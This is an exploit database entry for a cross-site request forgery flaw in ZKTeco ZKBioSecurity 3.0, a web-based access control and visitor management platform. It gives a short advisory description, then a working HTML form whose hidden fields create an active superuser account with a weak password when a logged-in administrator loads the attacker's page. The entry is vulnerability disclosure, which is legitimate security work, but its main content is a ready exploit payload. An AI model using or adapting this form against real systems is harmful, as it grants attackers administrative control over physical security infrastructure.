ZKTeco ZKBioSecurity 3.0 - Cross-Site Request Forgery (Add Superadmin)

ID 1337DAY-ID-25305
Type zdt
Reporter LiquidWorm
Modified 2016-08-31T00:00:00


Exploit for jsp platform in category web applications

ZKTeco ZKBioSecurity 3.0 CSRF Add Superadmin Exploit
Vendor: ZKTeco Inc. | Xiamen ZKTeco Biometric Identification Technology Co.,ltd
Product web page: http://www.zkteco.com
Affected version:
Summary: ZKBioSecurity3.0 is the ultimate "All in One" web based security
platform developed by ZKTeco. It contains four integrated modules: access
control, video linkage, elevator control and visitor management. With an
optimized system architecture designed for high level biometric identification
and a modern-user friendly UI, ZKBioSecurity 3.0 provides the most advanced
solution for a whole new user experience.
Desc: The application interface allows users to perform certain actions via
HTTP requests without performing any validity checks to verify the requests.
This can be exploited to perform certain actions with administrative privileges
if a logged-in user visits a malicious web site.
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Microsoft Windows 7 Professional SP1 (EN)
           Apache Tomcat/7.0.56
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
Advisory ID: ZSL-2016-5364
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5364.php
    <form action="!edit.action" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="authUser.username" value="thricer" />
      <input type="hidden" name="authUser.loginPwd" value="111111" />
      <input type="hidden" name="repassword" value="111111" />
      <input type="hidden" name="authUser.isActive" value="true" />
      <input type="hidden" name="authUser.isSuperuser" value="true" />
      <input type="hidden" name="groupIds" value="1" />
      <input type="hidden" name="deptIds" value="1" />
      <input type="hidden" name="areaIds" value="1" />
      <input type="hidden" name="authUser.email" value="[email protected]" />
      <input type="hidden" name="authUser.name" value="test" />
      <input type="hidden" name="authUser.lastName" value="lasttest" />
      <input type="hidden" name="fingerTemplate" value="
" />
      <input type="hidden" name="fingerId" value="
" />
      <input type="hidden" name="logMethod" value="add" />
      <input type="hidden" name="un" value="1471451964349_2769" />
      <input type="hidden" name="systemCode" value="base" />
      <input type="submit" value="Go" />

#  0day.today [2018-01-04]  #